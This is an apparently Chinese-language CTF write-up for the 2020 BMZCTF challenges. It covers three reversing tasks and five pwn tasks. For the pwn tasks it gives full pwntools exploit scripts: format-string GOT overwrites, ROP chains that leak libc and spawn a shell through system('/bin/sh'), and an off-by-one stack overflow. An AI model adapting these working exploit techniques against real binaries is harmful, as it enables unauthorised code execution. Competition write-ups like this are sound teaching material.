2020 BMZCTF Re&Pwn WriteUp

2020-12-25
#ctf #wp

Re

re1

main函数如下

re1

对输入逐字符加密,先后进行了异或、取余、异或,由于取余操作不好直接逆向,所以这里采用对128个ascii码全部进行上述加密,然后只要查表就可以得到加密前的ascii码了。

flag=[5070369,5070379,5070398,5070368,5070420,5070365,5070346,5070389,5070364,5070387,5070337,5070392,5070349,5070370,5070386,5070370,5070391,5070380,5070444,5070392,5070446,5070380,5070392,5070364,5070376,5070447,5070446,5070426]
def en(a):
    a^=0x1A2B3C
    a%=0x1A2B0C
    a^=0x4D5E6F
    return a
key={}
for i in range(128):
    key[en(i)]=i
for i in flag:
    print(chr(key[i]),end='')
# flag{BMZCTF_ReUeXs3_1s_Co01}

re2

Auth函数如下:

re2

该函数将输入分成三段处理,先进行异或和倒序(注意第二段没有倒序),然后S盒交换。就S盒提取出来,写脚本就行了。

out_part1=[3214, 3205, 3207, 3225, 3236, 3281, 3203, 3214, 3204]
out_part2=[3994, 3979, 4000, 4047, 3981, 4000, 4025, 3998, 4000]
out_part3=[1167, 1177, 1167, 1175, 1245, 1205, 1180, 1154, 1208]

subA=[ 7, 5, 2, 4, 3, 1, 6, 0, 8 ]
subB=[ 2, 6, 0, 7, 4, 5, 1, 3, 8]
subC=[3, 1, 6, 0, 8, 5, 2, 7, 4]

p1=[0]*9
p2=[0]*9
p3=[0]*9

for i in range(9):
    p1[subA[i]]=out_part1[i]^0xCE2
    p2[subB[i]]=out_part2[i]^0xFFF
    p3[subC[i]]=out_part3[i]^0x4EA

print(''.join(map(chr,p1[::-1]+p2+p3[::-1])))
# flag{Fe3l_Fear_t0_7he_Revs}

re3

android逆向,这题并不是让你输入,然后返回结果,而是直接解密输出flag,可以复制一遍代码运行一下。这里还有一种方法,解密逻辑在FlagActivity里,因此直接修改AndroidManifest.xml,把FlagActivity改成启动项,打包安装就行了。虽然在MainActivity里有签名校验,但是不启动他自然也不会检验了。

Pwn

注:我使用的LibcSearcher我自己魔改过,其中dumpb函数是我自己添加的,返回的是加上基址后的某函数的地址。

pwn1

非常明显的格式化字符串漏洞,并且给了后门函数。可以修改GOT表printf函数的地址,改成后门函数就行了(要一次性改好,所以有点慢)。

from pwn import *
from LibcSearcher import *

REMOTE=True
if REMOTE:
    context(os='linux', log_level='info')
    p = remote("47.242.59.61",10000)
else:
    context(os='linux',log_level='info')
    p = process('./pwn1')
p.recvuntil(" Wealcome to BMZCTF \n")

vuln_addr=0x80486AE
got_printf=0x804A014

p.sendline(flat('%'+str(vuln_addr)+'c%14$n',got_printf,word_size=32))
p.sendline('.')
p.interactive()
# bmzctf{ad048824-0848-4f51-8819-bccd40f83532}

pwn2

check有非常明显的栈溢出,非常经典的ROP。

from pwn import *
from LibcSearcher import *

REMOTE=True
if REMOTE:
    context(os='linux', log_level='info')
    p = remote("47.242.59.61",10001)
else:
    context(os='linux',log_level='info')
    p = process('./pwn2')
p.recvuntil("Who are you?")

plt_puts=0x400560
got_puts=0x601018
pop_rdi=0x400833
restart=0x4005C0

p.recv()
# 泄露puts地址并重新开始程序
p.sendline(flat({56:
    [
        pop_rdi,got_puts,
        plt_puts,
        restart
    ]
},word_size=64))
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
p.sendline(flat({56:
    [
        pop_rdi,libc.dumpb('str_bin_sh'),
        libc.dumpb('system')
    ]
},word_size=64))

p.interactive()
# bmzctf{ec9f5740-b3d4-4b5d-8996-798c5b6366f9}

pwn3

这道题的漏洞比较隐蔽,

pwn3

所以这里存在Off-By-One漏洞,可以通过不断的输入N来向后移动smsg函数里的buf指针,导致栈溢出

from pwn import *
from LibcSearcher import *

REMOTE=True
if REMOTE:
    context(os='linux', log_level='debug')
    p = remote("47.242.59.61",10002)
else:
    context(os='linux',log_level='info')
    p = process('./pwn3')

def smsg(payload):
    p.sendlineafter('>','smsg')
    # 移动buf指针
    for _ in range(80):
        p.sendlineafter('->','')
        p.sendlineafter('Send?(Y/N)','N')
    p.sendlineafter('->',b' '*7+payload)
    p.sendlineafter('Send?(Y/N)','Y')

plt_puts=0x401040
got_puts=0x404020
pop_rdi=0x40155b
restart=0x4010B0
ret=0x4014FA

# 下面的同上一题
smsg(flat(flat(
    pop_rdi,got_puts,
    plt_puts,
    restart
,word_size=64)))
p.recvuntil('Sent.\n')
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
smsg(flat(
    pop_rdi,libc.dumpb('str_bin_sh'),
    ret, # 对齐栈
    libc.dumpb('system')
,word_size=64))
p.interactive()
# bmzctf{16833c9c-5ce7-4878-b975-f4ed1fac6049}

pwn4

这题又是格式化字符串漏洞,但是这次看上去只有一机会,但是肯定是不可能一次就getshell的。

在结束程序前,唯一的操作就是进行了Canary检测,那就利用这个,将GOT表中___stack_chk_fail的地址改成main_0的地址,同时故意输入很长,触发Canary保护,就可以进行多次printf了。当然,之后的每一次也要故意溢出。

可以布局栈然后修改___stack_chk_fail地址到自己布局的栈上。而我利用了setvbuf(stdin, 0LL, 2, 0LL);,将setvbuf改成systemstdin改成/bin/sh的地址。

from pwn import *
from LibcSearcher import *

REMOTE=True
if REMOTE:
    context(os='linux', log_level='debug')
    p = remote("47.242.59.61",10003)
else:
    context(os='linux',log_level='info')
    p = process('./pwn4')

got_stack_chk_fail=0x601020
got_printf=0x601028
got_setvbuf=0x601058
bss_stdin=0x601088

p.sendlineafter(': ','')
def send(*payload):
    p.sendafter(': ',flat({0:[payload],31:'\n'},word_size=64))
def padding(data,length):
    return data+' '*(length-len(data))
# stack_chk_fail -> main_0
send(padding('%2245c%8$hn',16),got_stack_chk_fail)

# leak glibc
send('%7$s    ',got_printf)
printf_addr=u64(p.recvuntil(' ')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('printf',printf_addr)

def set(addr,value):
    for i in range(len(value)):
        j=value[i]
        if j==0:
            send(padding('%7$hhn',8),addr+i)
        else:
            send(padding('%'+str(j)+'c%8$hhn',16),addr+i)

# setvbuf -> system
# stdin   -> "/bin/sh"
set(bss_stdin,p64(libc.dumpb('str_bin_sh')))
set(got_setvbuf,p64(libc.dumpb('system')))
# stack_chk_fail -> setvbuf(stdin)
send(padding('%'+str(0x56)+'c%8$hhn',16),got_stack_chk_fail)
p.interactive()

# bmzctf{71fe464d-3d28-49d8-952b-e338dd60d169}

pwn5

这题又双叒叕是格式化字符串漏洞,这次是有一个计数器来限制只允许调用一次,但是这个计数器也在栈中,因此开头输入%7$n就可以绕过了(输%7$lln还可以同时清空leak函数的计数器,但是我没有用到leak函数= =),接下来就是常规的布局栈、跳转。

from pwn import *
from LibcSearcher import *
import re

from pwnlib.replacements import sleep

REMOTE=True
if REMOTE:
    context(os='linux', log_level='debug')
    p = remote("47.242.59.61",10004)
else:
    context(os='linux',log_level='debug')
    p = process('./pwn5')

p.sendlineafter('tell me the time:','1 1 1')

def padding(data,length):
    return data+' '*(length-len(data))
# 泄露程序地址
p.sendlineafter('>>','2')
if REMOTE:
    sleep(0.5)
p.sendline('%7$n%17$p ')
a=p.recvuntil(' \n').decode()
a=re.findall('0x([0-9a-f]+) \n',a)[0]
main_76_addr=int(a,16)
ret_addr=main_76_addr+135
got_setvbuf_addr=main_76_addr+0x200f94

# 泄露堆地址
p.sendlineafter('>>','2')
if REMOTE:
    sleep(0.5)
p.sendline('%7$n%7$p ')
a=p.recvuntil(' \n').decode()
a=re.findall('0x([0-9a-f]+) \n',a)[0]
heap_addr=int(a,16)-20

# 泄露libc
p.sendlineafter('>>','2')
if REMOTE:
    sleep(0.5)
p.sendline(flat(padding('%7$n%10$s ',16),got_setvbuf_addr,word_size=64))
setvbuf_addr=u64(p.recvuntil(' ')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('setvbuf',setvbuf_addr)

def set(addr,value):
    for i in range(len(value)):
        p.sendlineafter('>>','2')
        if REMOTE:
            sleep(0.5)
        if value[i]==0:
            p.sendline(flat(padding('%7$n%10$hhn',16),addr+i,word_size=64))
        else:
            p.sendline(flat(padding('%7$n%'+str(value[i])+'c%11$hhn',24),addr+i,word_size=64))
# 布局栈
set(heap_addr+8*7,flat(ret_addr,libc.dumpb('str_bin_sh'),libc.dumpb('system'),word_size=64))
# 跳转
p.sendlineafter('>>','2')
p.sendline(flat(padding('%'+str(0xaa)+'c%10$hhn',16),heap_addr,word_size=64))

p.interactive()
# bmzctf{3e8e8d83-7b4f-43bb-a2dd-77db11de2679}